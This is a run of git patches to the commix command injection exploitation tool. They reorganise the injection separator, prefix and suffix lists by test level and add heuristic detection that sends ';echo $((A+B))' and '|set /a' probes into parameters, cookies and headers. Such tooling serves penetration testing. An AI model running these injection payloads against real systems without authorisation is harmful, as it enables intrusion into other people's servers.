settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # You need to have administrative privileges to run this module. - if not common.running_as_admin(): + if not _common.running_as_admin(): err_msg = "You need to have administrative privileges to run this module." - print("\n" + settings.print_critical_msg(err_msg)) + print(settings.print_critical_msg(err_msg)) os._exit(0) # Check if defined POST data diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index 5bf2ddbfda..0f7c26a942 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -24,7 +24,7 @@ import threading from src.utils import menu from src.utils import logs -from src.utils import common +from src.utils import common as _common from src.utils import settings from src.thirdparty.colorama import Fore, Back, Style, init from src.core.requests import tor @@ -210,7 +210,7 @@ def icmp_exfiltration_handler(url, http_request_method): settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # You need to have administrative privileges to run this module. - if not common.running_as_admin(): + if not _common.running_as_admin(): err_msg = "You need to have administrative privileges to run this module." print(settings.print_critical_msg(err_msg) + "\n") os._exit(0) From 3f884684c5b068284dfcede4b0df8baab813a9c5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 14 Mar 2022 09:04:40 +0200 Subject: [PATCH 081/560] Minor update --- src/core/injections/controller/controller.py | 4 ++-- src/core/requests/parameters.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index afd2c47327..9a042abcfe 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -754,8 +754,8 @@ def do_check(url, http_request_method, filename): else: err_msg += " Try to remove the option '--alter-shell'" if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : - err_msg += " and/or increase '--level' values to perform" - err_msg += " more tests (i.e 'User-Agent', 'Referer', 'Host', 'Cookie' etc)" + err_msg += " and/or increase '--level' value to perform" + err_msg += " more tests " if menu.options.skip_empty: err_msg += " and/or remove the option '--skip-empty'" err_msg += "." diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 89402a77fc..7c69c91310 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -49,7 +49,7 @@ def do_GET_check(url, http_request_method): else: err_msg = "No parameter(s) found for testing on the provided target URL. " err_msg += "You must specify the testable parameter(s) and/or " - err_msg += "try to increase '--level' values to perform more tests (i.e 'User-Agent', 'Referer', 'Host', 'Cookie' etc)." + err_msg += "try to increase '--level' value to perform more tests." print(settings.print_critical_msg(err_msg)) raise SystemExit() elif menu.options.shellshock: diff --git a/src/utils/settings.py b/src/utils/settings.py index f2c2aaad8f..a83b5e94a7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "4" +REVISION = "5" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From c8a32d81e37bc55369f5e23af4db26d169e1dd52 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 15 Mar 2022 07:46:29 +0200 Subject: [PATCH 082/560] Minor fixes --- src/core/injections/controller/controller.py | 33 ++++++++++---------- src/utils/settings.py | 2 +- 2 files changed, 18 insertions(+), 17 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 9a042abcfe..b25e5e5460 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -659,6 +659,20 @@ def basic_level_checks(): if settings.PERFORM_BASIC_SCANS: basic_level_checks() + # Custom header Injection + if settings.CUSTOM_HEADER_INJECTION == True: + check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME + settings.HTTP_HEADER = header_name[1:].lower() + check_for_stored_sessions(url, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) + settings.CUSTOM_HEADER_INJECTION = None + + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: + get_request(url, http_request_method, filename, timesec) + else: + post_request(url, http_request_method, filename, timesec) + if menu.options.level >= settings.COOKIE_INJECTION_LEVEL: # Enable Cookie Injection if menu.options.cookie: @@ -673,21 +687,8 @@ def basic_level_checks(): check_parameter = "" # Check for stored injections on User-agent / Referer / Host HTTP headers (if level > 2). stored_http_header_injection(url, check_parameter, http_request_method, filename, timesec) - - # Custom header Injection - if settings.CUSTOM_HEADER_INJECTION == True: - check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.CUSTOM_HEADER_INJECTION = None - - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: - get_request(url, http_request_method, filename, timesec) - else: - post_request(url, http_request_method, filename, timesec) - + else: + http_headers_injection(url, http_request_method, filename, timesec) if settings.INJECTION_CHECKER == False: return False @@ -755,7 +756,7 @@ def do_check(url, http_request_method, filename): err_msg += " Try to remove the option '--alter-shell'" if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : err_msg += " and/or increase '--level' value to perform" - err_msg += " more tests " + err_msg += " more tests" if menu.options.skip_empty: err_msg += " and/or remove the option '--skip-empty'" err_msg += "." diff --git a/src/utils/settings.py b/src/utils/settings.py index a83b5e94a7..470b7495e9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "5" +REVISION = "6" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 69f2294b1ccd33c3b0fb6dc2ea8aef12388df920 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 16 Mar 2022 07:23:37 +0200 Subject: [PATCH 083/560] =?UTF-8?q?=CE=99mprovement=20regarding=20`--level?= =?UTF-8?q?`=20option,=20which=20not=20only=20adds=20more=20injection=20po?= =?UTF-8?q?ints=20(i.e=20Cookies,=20HTTP=20headers)=20but=20also=20perform?= =?UTF-8?q?s=20more=20tests=20for=20each=20injection=20point?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- doc/CHANGELOG.md | 1 + src/core/main.py | 20 +++++++++++++++++++- src/utils/settings.py | 36 +++++++++++++++++++++++++----------- 3 files changed, 45 insertions(+), 12 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 8d84e79456..8bfe2c0623 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Revised: Ιmprovement regarding `--level` option, which not only adds more injection points (i.e Cookies, HTTP headers) but also performs more tests for each injection point. * Revised: Improvement regarding injecting into custom HTTP Header(s). ## Version 3.4 (2022-02-25) diff --git a/src/core/main.py b/src/core/main.py index 29eaed0932..e418684cff 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -830,7 +830,25 @@ def main(filename, url): settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] # Define the level of tests to perform. - if menu.options.level > 3: + if menu.options.level == 1: + settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index) + settings.PREFIXES = sorted(set(settings.PREFIXES_LVL1), key=settings.PREFIXES_LVL1.index) + settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL1), key=settings.SUFFIXES_LVL1.index) + settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL1), key=settings.EVAL_PREFIXES_LVL1.index) + settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL1), key=settings.EVAL_SUFFIXES_LVL1.index) + elif menu.options.level == 2: + settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL2), key=settings.SEPARATORS_LVL2.index) + settings.PREFIXES = sorted(set(settings.PREFIXES_LVL2), key=settings.PREFIXES_LVL2.index) + settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL2), key=settings.SUFFIXES_LVL2.index) + settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL2), key=settings.EVAL_PREFIXES_LVL2.index) + settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL2), key=settings.EVAL_SUFFIXES_LVL2.index) + elif menu.options.level == 3: + settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL3), key=settings.SEPARATORS_LVL3.index) + settings.PREFIXES = sorted(set(settings.PREFIXES_LVL3), key=settings.PREFIXES_LVL3.index) + settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL3), key=settings.SUFFIXES_LVL3.index) + settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL3), key=settings.EVAL_PREFIXES_LVL3.index) + settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL3), key=settings.EVAL_SUFFIXES_LVL3.index) + else: err_msg = "The value for option '--level' " err_msg += "must be an integer value from range [1, 3]." print(settings.print_critical_msg(err_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 470b7495e9..b62babca8b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "6" +REVISION = "7" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -376,14 +376,24 @@ def sys_argv_errors(): # The HTTP header name. HTTP_HEADER = "" -# The command injection prefixes. -PREFIXES = ["", " ", "'", "\"", "&", "%26", "|", "%7C", "%27", "%22", "'%26"] - # The command injection separators. -SEPARATORS = ["", ";", "%3B", "&", "%26", "%1a", "&&", "%26%26", "|", "%7C", "||", "%7C%7C", "%0a", "%0d%0a"] +SEPARATORS = [] +SPECIAL_SEPARATORS = ["%0a", "%0d%0a","%1a"] +DEFAULT_SEPARATORS = ["", ";", "&", "&&", "|", "||"] +SEPARATORS_LVL1 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS +SEPARATORS_LVL3 = SEPARATORS_LVL2 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS + [_urllib.parse.quote_plus(x).lower() for x in DEFAULT_SEPARATORS] + +# The command injection prefixes. +PREFIXES = [] +PREFIXES_LVL1 = [""] +PREFIXES_LVL2 = PREFIXES_LVL1 + [" ", "'", "\"", "&", "|", "'&"] +PREFIXES_LVL3 = PREFIXES_LVL2 + [_urllib.parse.quote_plus(x).lower() for x in PREFIXES_LVL2] # The command injection suffixes. -SUFFIXES = ["", "'", "\"", "&&", "%26%26", "|", "%7C", "||", "%7C%7C", " #", "//", "\\\\", "%26'", "%27", "%22", "%5C%5C", "%2F%2F"] +SUFFIXES = [] +SUFFIXES_LVL1 = [""] +SUFFIXES_LVL2 = SUFFIXES_LVL1 + ["'", "\"", "&&", "|", "||", " #", "//", "\\\\", "&'"] +SUFFIXES_LVL3 = SUFFIXES_LVL2 + [_urllib.parse.quote_plus(x).lower() for x in SUFFIXES_LVL1] # Bad combination of prefix and separator JUNK_COMBINATION = ["&&&", "|||", "|&&", "&|", "&;", "|;", "%7C;", "%26;", "%7C&"] @@ -391,14 +401,18 @@ def sys_argv_errors(): # Execution functions EXECUTION_FUNCTIONS = ["exec", "system", "shell_exec", "passthru", "proc_open", "popen"] -# The code injection prefixes. -EVAL_PREFIXES = [".", "{${", "\".", "'.", "", ";", "'", ")", "')", "\")", ");}", "');}", "\");}"] - # The code injection separators. -EVAL_SEPARATORS = ["", "%0a", "\\n", "%0d%0a", "\\r\\n"] +EVAL_SEPARATORS = ["", "%0a", "%0d%0a"] + +# The code injection prefixes. +EVAL_PREFIXES = [] +EVAL_PREFIXES_LVL1 = ["{${", "'.", ".", ")'}", "');}"] +EVAL_PREFIXES_LVL3 = EVAL_PREFIXES_LVL2 = EVAL_PREFIXES_LVL1 + ["\".", "')", "\")", ");}", "\");}", ")", ";", "'", ""] # The code injection suffixes. -EVAL_SUFFIXES = ["", "}}", ".\"", ".'", "", "\\\\", "//", "#", ")}"] +EVAL_SUFFIXES = [] +EVAL_SUFFIXES_LVL1 = ["}}", ".'", "'#", ""] +EVAL_SUFFIXES_LVL3 = EVAL_SUFFIXES_LVL2 = EVAL_SUFFIXES_LVL1 + [".\"", "\\\\", "//", ")}", "#"] # The default (url-ecoded) white-space. WHITESPACES = ["%20"] From aa8cdba853a22daebadfabf936c63d8c9a35a095 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 20 Mar 2022 18:23:18 +0200 Subject: [PATCH 084/560] Minor update regarding target operating system identification --- src/utils/settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index b62babca8b..d4aa68fbbc 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "7" +REVISION = "8" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -758,7 +758,7 @@ def sys_argv_errors(): # Server banners list SERVER_OS_BANNERS = [ - r"(Microsoft|Windows|Win32)", + r"(Microsoft|Windows|Win[\w\.]+)", "Debian", "Ubuntu", "Fedora", From 589eb60fbe34486aec694d710545b39bc22ed069 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 21 Mar 2022 07:53:14 +0200 Subject: [PATCH 085/560] Added support for heuristic detection regarding command injections. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/controller.py | 70 ++++++++++++++++++-- src/utils/settings.py | 12 +++- 3 files changed, 77 insertions(+), 6 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 8bfe2c0623..152b38310a 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Added: Support for heuristic detection regarding command injections. * Revised: Ιmprovement regarding `--level` option, which not only adds more injection points (i.e Cookies, HTTP headers) but also performs more tests for each injection point. * Revised: Improvement regarding injecting into custom HTTP Header(s). diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index b25e5e5460..0b02cab85b 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -63,11 +63,69 @@ def check_for_stored_levels(url, http_request_method): menu.options.level = session_handler.applied_levels(url, http_request_method) if type(menu.options.level) is not int : menu.options.level = settings.DEFAULT_INJECTION_LEVEL - + + +""" +Basic heuristic checks for command injection +""" +def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name): + + if menu.options.skip_heuristics: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Skipping (basic) heuristic detection." + print(settings.print_debug_msg(debug_msg)) + return url + else: + if not header_name == " cookie" and not the_type == " HTTP header": + header_name = " " + str(http_request_method) + settings.CLASSIC_STATE = True + try: + if not settings.IDENTIFIED_COMMAND_INJECTION: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Starting (basic) heuristic detection." + print(settings.print_debug_msg(debug_msg)) + _ = 0 + for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS: + _ = _ + 1 + payload = checks.perform_payload_modification(payload) + if settings.VERBOSITY_LEVEL >= 1: + print(settings.print_payload(payload)) + data = None + cookie = None + tmp_url = url + if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: + cookie = menu.options.cookie.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST: + data = menu.options.data.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + else: + if settings.INJECT_TAG in url: + tmp_url = url.replace(settings.INJECT_TAG, payload) + request = _urllib.request.Request(tmp_url, data) + if cookie: + request.add_header(settings.COOKIE, cookie) + headers.do_check(request) + response = requests.get_request_response(request) + + if type(response) is not bool: + html_data = checks.page_encoding(response, action="decode") + match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) + if match: + settings.IDENTIFIED_COMMAND_INJECTION = True + info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter +" might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." + print(settings.print_bold_info_msg(info_msg)) + break + + settings.CLASSIC_STATE = False + return url + + except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + """ Basic heuristic checks for code injection warnings """ -def heuristic_basic(url, http_request_method): +def code_injections_heuristic_basic(url, http_request_method): injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" technique = "(" + injection_type.split(" ")[0] + ") " + technique + "" @@ -123,7 +181,7 @@ def heuristic_basic(url, http_request_method): settings.IDENTIFIED_WARNINGS = True break if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - info_msg = "Heuristic detection shows that target might be injectable via " + technique + "." + info_msg = "Heuristic (basic) detection shows that target might be injectable via " + technique + "." print(settings.print_bold_info_msg(info_msg)) break @@ -290,11 +348,13 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Load modules modules_handler.load_modules(url, http_request_method, filename) + url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name) + if not settings.LOAD_SESSION: - if (len(menu.options.tech) == 0 or "e" in menu.options.tech): + if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION: # Check for identified warnings if not inject_http_headers: - url = heuristic_basic(url, http_request_method) + url = code_injections_heuristic_basic(url, http_request_method) if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: while True: if not menu.options.batch: diff --git a/src/utils/settings.py b/src/utils/settings.py index d4aa68fbbc..88313f2eb8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "8" +REVISION = "9" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -264,6 +264,16 @@ def sys_argv_errors(): INJECT_TAG_REGEX = r"(?i)INJECT[_]?HERE" VALUE_BOUNDARIES = r'[\\/](.+?)[\\/]' +#Basic heuristic checks for command injections +RAND_A = random.randint(1,10000) +RAND_B = random.randint(1,10000) +BASIC_STRING = str(RAND_A) + "+" + str(RAND_B) +BASIC_COMMAND_INJECTION_PAYLOADS = [_urllib.parse.quote_plus(";echo $((" + BASIC_STRING + "))&&echo $((" + BASIC_STRING + "))||echo $((" + BASIC_STRING + "))"), + _urllib.parse.quote_plus("|set /a (" + BASIC_STRING + ")&set /a (" + BASIC_STRING + ")") + ] +BASIC_COMMAND_INJECTION_RESULT = str(RAND_A + RAND_B) +IDENTIFIED_COMMAND_INJECTION = False + #Basic heuristic checks for code injection warnings or... phpinfo page ;) PHPINFO_PAYLOAD = "phpinfo()" From 4c8ed2a8017efd04b84d2f72f1290a2a614b07a0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 22 Mar 2022 07:34:50 +0200 Subject: [PATCH 086/560] Minor update --- src/core/requests/requests.py | 8 ++++---- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 7dba87375e..23d611d93a 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -1186,7 +1186,7 @@ def check_target_os(server_banner): print(settings.print_critical_msg(err_msg)) raise SystemExit() else: - identified_os = "Unix-like (" + settings.TARGET_OS + ")" + identified_os = "unix-like (" + settings.TARGET_OS + ")" if menu.options.os and user_defined_os == "win": if not checks.identified_os(): settings.TARGET_OS = user_defined_os @@ -1211,18 +1211,18 @@ def check_target_os(server_banner): if menu.options.batch: if not settings.CHECK_BOTH_OS: settings.CHECK_BOTH_OS = True - check_type = "unix-based" + check_type = "unix-like based" elif settings.CHECK_BOTH_OS: settings.TARGET_OS = "win" settings.CHECK_BOTH_OS = False settings.PERFORM_BASIC_SCANS = True - check_type = "windows-based" + check_type = "windows based" info_msg = "Setting the " + check_type + " payloads." print(settings.print_info_msg(info_msg)) else: while True: question_msg = "Do you recognise the server's operating system? " - question_msg += "[(W)indows/(U)nix/(q)uit] > " + question_msg += "[(W)indows/(U)nix-like/(q)uit] > " got_os = _input(settings.print_question_msg(question_msg)) if got_os.lower() in settings.CHOICE_OS : if got_os.lower() == "w": diff --git a/src/utils/settings.py b/src/utils/settings.py index 88313f2eb8..3dfa23737b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "9" +REVISION = "10" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From d8963eb4aa30521f68a7fed53869ca1b63cfe666 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 23 Mar 2022 07:02:21 +0200 Subject: [PATCH 087/560] Minor fix --- .../injections/semiblind/techniques/file_based/fb_handler.py | 3 ++- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index fc485b4979..e07f2459ba 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -331,7 +331,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. - elif i == int(menu.options.failed_tries) and no_result == True : + + elif (i == int(menu.options.failed_tries) and no_result == True) or (i == total): tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." diff --git a/src/utils/settings.py b/src/utils/settings.py index 3dfa23737b..e24dd88fac 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "10" +REVISION = "11" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 121cc556e42c77eb8b3263635d4adc18e138b13d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 24 Mar 2022 07:30:14 +0200 Subject: [PATCH 088/560] Fixes https://github.com/commixproject/commix/issues/751 --- src/core/tamper/hexencode.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index 35c4d85d2c..6346e9ec60 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -38,7 +38,7 @@ def tamper(payload): else: payload = _urllib.parse.unquote(payload) - payload = hexencode(payload) + payload = hexencode(payload).encode() payload = payload.decode(settings.DEFAULT_CODEC) return payload diff --git a/src/utils/settings.py b/src/utils/settings.py index e24dd88fac..88b44722a6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "11" +REVISION = "12" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 5c16cac5d20ad340ac82b918034fa789d8fff2c0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 25 Mar 2022 09:22:45 +0200 Subject: [PATCH 089/560] Minor update --- src/core/injections/controller/controller.py | 10 +++++++--- src/utils/settings.py | 2 +- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 0b02cab85b..c0dd1ff41b 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -114,14 +114,18 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter +" might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." print(settings.print_bold_info_msg(info_msg)) break - + + if not settings.IDENTIFIED_COMMAND_INJECTION: + warn_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter +" might not be injectable." + print(settings.print_bold_warning_msg(warn_msg)) + settings.CLASSIC_STATE = False return url except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit() - + """ Basic heuristic checks for code injection warnings """ @@ -418,7 +422,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if header_name != " cookie" and the_type != " HTTP header": warn_msg += " " + str(http_request_method) + "" warn_msg += str(the_type) + str(header_name) + str(check_parameter) - warn_msg += " seems to be not injectable." + warn_msg += " does not seem to be injectable." print(settings.print_bold_warning_msg(warn_msg)) """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 88b44722a6..19b9b10b0d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "12" +REVISION = "13" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From e46594b067a44c7af1d26956ed040e3414444932 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 26 Mar 2022 09:01:06 +0200 Subject: [PATCH 090/560] Minor update regarding commit: https://github.com/commixproject/commix/commit/589eb60fbe34486aec694d710545b39bc22ed069 --- src/core/injections/controller/controller.py | 27 ++++++++++++-------- src/utils/settings.py | 22 ++++++++-------- 2 files changed, 28 insertions(+), 21 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index c0dd1ff41b..8cb4a79e83 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -68,8 +68,7 @@ def check_for_stored_levels(url, http_request_method): """ Basic heuristic checks for command injection """ -def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name): - +def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): if menu.options.skip_heuristics: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping (basic) heuristic detection." @@ -86,7 +85,13 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, print(settings.print_debug_msg(debug_msg)) _ = 0 for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS: - _ = _ + 1 + if menu.options.prefix: + payload = menu.options.prefix + payload + if menu.options.suffix: + payload = payload + menu.options.suffix + _ = _ + 1 + if not inject_http_headers: + payload = _urllib.parse.quote_plus(payload) payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) @@ -103,6 +108,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, request = _urllib.request.Request(tmp_url, data) if cookie: request.add_header(settings.COOKIE, cookie) + if inject_http_headers: + request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -352,7 +359,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Load modules modules_handler.load_modules(url, http_request_method, filename) - url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name) + url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) if not settings.LOAD_SESSION: if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION: @@ -441,8 +448,8 @@ def user_agent_injection(url, http_request_method, filename, timesec): check_parameter = header_name = " User-Agent" settings.HTTP_HEADER = header_name[1:].replace("-","").lower() check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.USER_AGENT_INJECTION = False + if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.USER_AGENT_INJECTION = None menu.options.agent = user_agent def referer_injection(url, http_request_method, filename, timesec): @@ -454,8 +461,8 @@ def referer_injection(url, http_request_method, filename, timesec): check_parameter = header_name = " Referer" settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.REFERER_INJECTION = False + if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.REFERER_INJECTION = False menu.options.agent = referer def host_injection(url, http_request_method, filename, timesec): @@ -466,8 +473,8 @@ def host_injection(url, http_request_method, filename, timesec): check_parameter = header_name = " Host" settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.HOST_INJECTION = False + if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.HOST_INJECTION = False # User-Agent HTTP header injection if menu.options.skip_parameter == None: diff --git a/src/utils/settings.py 